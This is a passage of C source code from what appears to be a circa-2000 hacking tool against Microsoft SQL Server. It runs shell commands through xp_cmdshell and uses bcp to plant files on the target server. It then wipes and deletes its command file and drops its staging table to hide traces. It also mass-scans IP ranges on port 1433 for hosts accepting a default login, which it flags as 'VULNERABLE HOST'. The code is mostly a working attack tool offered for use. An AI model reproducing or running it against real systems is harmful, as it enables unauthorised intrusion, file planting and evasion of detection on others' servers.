  885.     execute_query("xp_cmdshell 'echo.> c:\\temp\\bcp.cmd'");print_it(".");fflush(stdout);
  886.     execute_query("xp_cmdshell 'echo 0 >> c:\\temp\\bcp.cmd'");print_it(".");fflush(stdout);
  887.     execute_query("xp_cmdshell 'echo.>> c:\\temp\\bcp.cmd'");print_it(".");fflush(stdout);
  888.     execute_query("xp_cmdshell 'echo.>> c:\\temp\\bcp.cmd'");print_it(".\n");fflush(stdout);
  889.     
  890.     print_it("- 'bcp' the file out of the database...\n");
  891.     sprintf(uploadBuf, "xp_cmdshell 'type c:\\temp\\bcp.cmd | bcp haxortable out %s\\%s -U %s -P %s > nul'",path,fptr,target.loginID,target.password);
  892.     execute_query(uploadBuf);
  893.  
  894.     print_it("*** Wooha! File uploaded to server. Time to cleanup ***\n");
  895.     
  896.     print_it("- removing bcp command file...\n");
  897.     execute_query("xp_cmdshell 'echo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa > c:\\temp\\bcp.cmd'");    // overwrite the file with junk
  898.     execute_query("xp_cmdshell 'del c:\\temp\\bcp.cmd'");
  899.         
  900.     print_it("- drop haxortable\n");
  901.     execute_query("drop table haxortable");
  902.     
  903.     print_it("*** All done. \"%s\" should now be on the remote server in \"%s\" ***\n",fptr,path);
  904.     
  905.     
  906.     free(uploadBuf);            // remember to free the memory
  907.     
  908. /*
  909.  * this is a kludge, cos the tds_query routine fucks up with null return strings so we must reset the connection
  910.  */
  911.     print_it("- Reconnecting as a kludge to fix broken TDS library...\n");
  912.     if(opt.test==0)
  913.         tds_free_socket(tds);
  914.     tds_free_login(login);
  915.  
  916.     login = tds_alloc_login();
  917.     tds_set_passwd(login,target.password);
  918.     tds_set_user(login,target.loginID);
  919.     tds_set_app(login,target.app);
  920.     tds_set_host(login,target.hostname);
  921.     tds_set_library(login,"TDS-Library");
  922.     tds_set_charset(login,target.charset);
  923.     tds_set_language(login,target.language);
  924.     tds_set_server(login,target.IP);
  925.     tds_set_packet(login,512);
  926.     
  927.     if(opt.test==0)
  928.         if((tds = tds_connect(login))==NULL)
  929.         {
  930.             tds_free_login(login);
  931.             if(opt.verbose)
  932.                 print_it("- Reconnect to [%s] failed.\n", target.IP);
  933.             exit(1);
  934.         }
  935.     print_it("- Kludge complete\n");
  936. /*
  937.  * end of kludge
  938.  */
  939.     
  940.     opt.verbose=verboseSave;    
  941. }
  942.             
  943. void list_stored_procedures()
  944. {
  945.     int i, resultc=999,rowc=999, row, count=0,gotInside=0;
  946.     
  947.     if(opt.test==0)
  948.     {
  949.         printf("\n");        
  950.         if(tds_submit_query(tds,"sp_help")==TDS_FAIL)
  951.         {
  952.             if(opt.verbose)
  953.                 printf("TDS FAIL on tds_submit_query()\n");
  954.             return;
  955.         }
  956.         while((resultc=tds_process_result_tokens(tds))==TDS_SUCCEED)
  957.         {
  958.             gotInside=1;
  959.             while((rowc=tds_process_row_tokens(tds))==TDS_SUCCEED)
  960.             {
  961.                 for(i=0; i<tds->res_info->num_cols; i++)
  962.                     if(strcmp(tds->res_info->columns[i]->column_name, "Name")==0)
  963.                         print_it("%s\n",value_as_string(tds, i));
  964.                 count++;
  965.             }
  966.         }
  967.         printf("\n");
  968.     }
  969. }
  970.  
  971. void list_columns_in_table(char *query)
  972. {
  973.     int i, resultc=999,rowc=999, row, count=0,gotInside=0;
  974.     
  975.     if(opt.test==0)
  976.     {
  977.         printf("\n");        
  978.         if(tds_submit_query(tds,query)==TDS_FAIL)
  979.         {
  980.             if(opt.verbose)
  981.                 printf("TDS FAIL on tds_submit_query()\n");
  982.             return;
  983.         }
  984.         while((resultc=tds_process_result_tokens(tds))==TDS_SUCCEED)
  985.         {
  986.             gotInside=1;
  987.             while((rowc=tds_process_row_tokens(tds))==TDS_SUCCEED)
  988.             {
  989.                 for(i=0; i<tds->res_info->num_cols; i++)
  990.                     if(strcmp(tds->res_info->columns[i]->column_name, "COLUMN_NAME")==0)
  991.                         print_it("%s\n",value_as_string(tds, i));
  992.                 count++;
  993.             }
  994.         }
  995.         printf("\n");
  996.     }
  997. }
  998. void close_terminal()
  999. {
  1000.     tcsetattr(fileno(stdin),TCSANOW, &init_settings);
  1001.     while(numCommands--)
  1002.         free(commandBuf[numCommands]);
  1003. }
  1004.  
  1005. void setup_terminal()
  1006. {
  1007.     setupterm(NULL, fileno(stdout), (int *)0);
  1008.     tcgetattr(fileno(stdin), &init_settings);
  1009.     new_settings=init_settings;
  1010.     new_settings.c_lflag &= ~ICANON;
  1011.     new_settings.c_lflag &= ~ECHO;
  1012.     new_settings.c_cc[VMIN]=1;
  1013.     new_settings.c_cc[VTIME]=0;
  1014.     tcsetattr(fileno(stdin),TCSANOW, &new_settings);
  1015.     backSpaceSequence=tigetstr("cub1");
  1016.     cteol=tigetstr("dl1");
  1017. }
  1018.  
  1019. int get_string(char *buffer, int maxCount)
  1020. {
  1021.     int currChar=0,ch, cmdNum;
  1022.         
  1023.     cmdNum=numCommands;
  1024.     memset(buffer,0,maxCount);
  1025.     
  1026.     do
  1027.     {
  1028.         ch=get_key();
  1029.         if(ch>0 &&ch!='\r'&&ch!='\n'&&isprint(ch))
  1030.         {
  1031.             buffer[currChar++]=ch;
  1032.             printf("%c",ch);
  1033.         }
  1034.         else
  1035.         if(ch==UPKEY)
  1036.         {
  1037.             if(cmdNum)
  1038.             {
  1039.                 putp(cteol);
  1040.                 while(currChar--)
  1041.                 {
  1042.                     putp(backSpaceSequence);
  1043.                     printf(" ");
  1044.                     putp(backSpaceSequence);
  1045.                 }                    
  1046.                 memset(buffer,0,maxCount);
  1047.                 cmdNum--;
  1048.                 strcpy(buffer,commandBuf[cmdNum]);
  1049.                 currChar=strlen(buffer);
  1050.                 printf("%s",buffer);
  1051.             }
  1052.         }
  1053.         else
  1054.         if(ch==DOWNKEY)
  1055.         {
  1056.             if(cmdNum<numCommands-1)
  1057.             {
  1058.                 putp(cteol);
  1059.                 while(currChar--)
  1060.                 {
  1061.                     putp(backSpaceSequence);
  1062.                     printf(" ");
  1063.                     putp(backSpaceSequence);
  1064.                 }
  1065.                 memset(buffer,0,maxCount);
  1066.                 cmdNum++;
  1067.                 strcpy(buffer,commandBuf[cmdNum]);
  1068.                 currChar=strlen(buffer);
  1069.                 printf("%s",buffer);
  1070.             }
  1071.         }
  1072.         else
  1073.         {
  1074.             if(ch==BACKSPACE&&currChar)
  1075.             {
  1076.                 putp(backSpaceSequence);
  1077.                 printf(" ");
  1078.                 putp(backSpaceSequence);
  1079.                 currChar--;
  1080.                 buffer[currChar]='\0';
  1081.             }
  1082.         }
  1083.     }while(ch!='\n'&&ch!='\r'&&currChar<maxCount);
  1084.     buffer[currChar]='\0';
  1085.     
  1086.     if(numCommands)
  1087.     {
  1088.         if(strcmp(commandBuf[numCommands-1], buffer)!=0)
  1089.         {
  1090.             commandBuf[numCommands]=(char *)malloc(MAX_INPUT_LEN);
  1091.             memset(commandBuf[numCommands],0,MAX_INPUT_LEN);
  1092.             strcpy(commandBuf[numCommands], buffer);
  1093.             numCommands++;
  1094.         }
  1095.     }
  1096.     else
  1097.     {
  1098.         commandBuf[numCommands]=(char *)malloc(MAX_INPUT_LEN);
  1099.         memset(commandBuf[numCommands],0,MAX_INPUT_LEN);
  1100.         strcpy(commandBuf[numCommands], buffer);
  1101.         numCommands++;
  1102.     }
  1103.         
  1104.     return 0;
  1105. }
  1106.  
  1107. int get_key()
  1108. {
  1109.     int ch;
  1110.     
  1111.     ch=fgetc(stdin);
  1112.     if(ch==0x1b)
  1113.     {
  1114.         fgetc(stdin);
  1115.         ch=fgetc(stdin);
  1116.         switch(ch)
  1117.         {
  1118.             case 'A':
  1119.                 return UPKEY;
  1120.                 break;
  1121.             case 'B':
  1122.                 return DOWNKEY;
  1123.                 break;
  1124.             case 'C':
  1125.                 return RIGHTKEY;
  1126.                 break;
  1127.             case 'D':
  1128.                 return LEFTKEY;
  1129.                 break;
  1130.             default:
  1131.                 return 0;
  1132.         }
  1133.     }
  1134.     else
  1135.     if(ch==127)
  1136.         return BACKSPACE;
  1137.     else
  1138.         return ch;
  1139. }
  1140.  
  1141. /*
  1142.  * this routine is REALLY FUCKING MESSY because:
  1143.  *
  1144.  * (a) I'm lazy
  1145.  * (b) I needed to work around broken TDS libs which hang sometimes
  1146.  * (c) lots of timeout parameters are needed
  1147.  * (d) it's evolution, not design :)
  1148.  */
  1149.  
  1150. void scan_hosts(char *iprange, int cTimeout, int pTimeout)
  1151. {
  1152.     char ipToScan[16], currOctet[4][2][4];    // currOctet[octet][from/to][digit] -- from=0 to=1
  1153.     int octetRange[4][2];                // octect [1.2.3.4][from-to]
  1154.     char *ptr, buf[3];
  1155.     int o1,o2,o3,o4,fromTo,o,digit,mySock,childPID,i,reset_yet=0,originalTimeout,status;
  1156.     struct sockaddr_in addr;
  1157.     FILE *fp;
  1158.     
  1159.     ptr=iprange;
  1160.     fromTo=digit=o=0;
  1161.     originalTimeout=cTimeout;
  1162.     while(*ptr!='\0'&&o<4)
  1163.     {
  1164.         fromTo=digit=0;
  1165.         while(*ptr!='.'&&*ptr!='\0')
  1166.         {
  1167.             if(isdigit(*ptr))
  1168.                 currOctet[o][fromTo][digit++]=*(ptr++);
  1169.             else if(isalpha(*ptr))
  1170.             {
  1171.                 print_it("Hehe, IP addresses only... hostnames not supported yet :)\n");
  1172.                 exit(1);
  1173.             }
  1174.             else
  1175.             {
  1176.                 if(*ptr=='-')
  1177.                 {
  1178.                     currOctet[o][fromTo][digit]='\0';
  1179.                     fromTo++;
  1180.                     digit=0;
  1181.                     ptr++;
  1182.                 }
  1183.                 else
  1184.                 {
  1185.                     print_it("Invalid char\n");
  1186.                     exit(1);
  1187.                 }
  1188.             }            
  1189.         }
  1190.         currOctet[o][fromTo][digit]='\0';
  1191.         if(fromTo==0)
  1192.             strcpy(currOctet[o][1], currOctet[o][0]);
  1193.         o++;ptr++;digit=0;
  1194.     }
  1195.  
  1196.     for(o=0;o<4;o++)
  1197.         for(fromTo=0;fromTo<2;fromTo++)
  1198.             octetRange[o][fromTo]=atoi(currOctet[o][fromTo]);
  1199.         
  1200.     for(o1=octetRange[0][0];o1<=octetRange[0][1];o1++)
  1201.         for(o2=octetRange[1][0];o2<=octetRange[1][1];o2++)
  1202.             for(o3=octetRange[2][0];o3<=octetRange[2][1];o3++)
  1203.                 for(o4=octetRange[3][0];o4<=octetRange[3][1];o4++)
  1204.                 {
  1205.                     sprintf(ipToScan,"%i.%i.%i.%i",o1,o2,o3,o4);
  1206.                     print_it("Scanning %s",ipToScan);fflush(stdout);
  1207.                     if((mySock=socket(AF_INET, SOCK_STREAM, 0))==-1)
  1208.                     {
  1209.                         print_it("Could not grab socket\n");
  1210.                         exit(1);
  1211.                     }
  1212.                     addr.sin_family=AF_INET;
  1213.                     addr.sin_addr.s_addr=inet_addr(ipToScan);
  1214.                     addr.sin_port=htons(1433);
  1215.                     unlink(STATUS_FILE);
  1216.                     cTimeout=originalTimeout;
  1217.                     if((childPID=fork())==0)
  1218.                     {
  1219.                         if(connect(mySock, (struct sockaddr *)&addr, sizeof(addr))==0)
  1220.                         {
  1221.                             if((fp=fopen(STATUS_FILE,"w"))==NULL)
  1222.                             {
  1223.                                 print_it("\nFailed to create status file\n");
  1224.                                 exit(1);
  1225.                             }
  1226.                             fwrite("OK",1,2,fp);
  1227.                             fclose(fp);
  1228.                             print_it("Target is listening, probing...");fflush(stdout);
  1229.                             if(probe_login(ipToScan))
  1230.                             {
  1231.                                 fp=fopen(STATUS_FILE,"w");
  1232.                                 print_it("VULNERABLE HOST");fflush(stdout);
  1233.                                 fwrite("VU",1,2,fp);
  1234.                                 fclose(fp);
  1235.                             }
  1236.                             exit(0);
  1237.                         }
  1238.                         else
  1239.                         {
  1240.                             if((fp=fopen(STATUS_FILE,"w"))==NULL)
  1241.                             {
  1242.                                 print_it("\nFailed to create status file\n");
  1243.                                 exit(1);
  1244.                             }
  1245.                             fwrite("Failed",1,2,fp);
  1246.                             fclose(fp);
  1247.                         }
  1248.                         exit(0);
  1249.                     }
  1250.                     else
  1251.                     {                    
  1252.                         for(i=0;i<=cTimeout;i++)
  1253.                         {
  1254.                             if((fp=fopen(STATUS_FILE,"r"))==NULL)
  1255.                                 sleep(1);
  1256.                             else
  1257.                             {
  1258.                                 if(fgets(buf,3,fp)==buf)
  1259.                                 {
  1260.                                     if(strncmp(buf, "OK", 2)==0)
  1261.                                     {
  1262.                                         if(!reset_yet)
  1263.                                         {
  1264.                                             reset_yet=1;
  1265.                                             cTimeout=pTimeout;
  1266.                                             fclose(fp);
  1267.                                             unlink(STATUS_FILE);
  1268.                                         }
  1269.                                     }
  1270.                                     else
  1271.                                     if(strncmp(buf, "VU",2)==0)
  1272.                                     {
  1273.                                         fclose(fp);
  1274.                                         goto outOfHere;
  1275.                                     }
  1276.                                     else
  1277.                                         fclose(fp);
  1278.                                 }
  1279.                                 if(!reset_yet)
  1280.                                     break;
  1281.                             }
  1282.                             print_it(".");fflush(stdout);
  1283.                         }
  1284.                         outOfHere:
  1285.                         kill(childPID, SIGHUP);
  1286.                         wait(&status);
  1287.                     }    
  1288.                     print_it("\n");
  1289.                     reset_yet=0;
  1290.                     close(mySock);
  1291.                 }
  1292. }    
  1293.  
  1294. int probe_login(char *ip)
  1295. {
  1296.     strcpy(target.IP, ip);
  1297.     set_target_defaults();
  1298.     if((tds = tds_connect(login))!=NULL)
  1299.     {
  1300.         tds_free_socket(tds);
  1301.         tds_free_login(login);
  1302.         return 1;
  1303.     }
  1304.     else
  1305.     {
  1306.         tds_free_login(login);
  1307.         return 0;
  1308.     }
  1309. }
  1310. /*                    www.hack.co.za           [22 August 2000]*/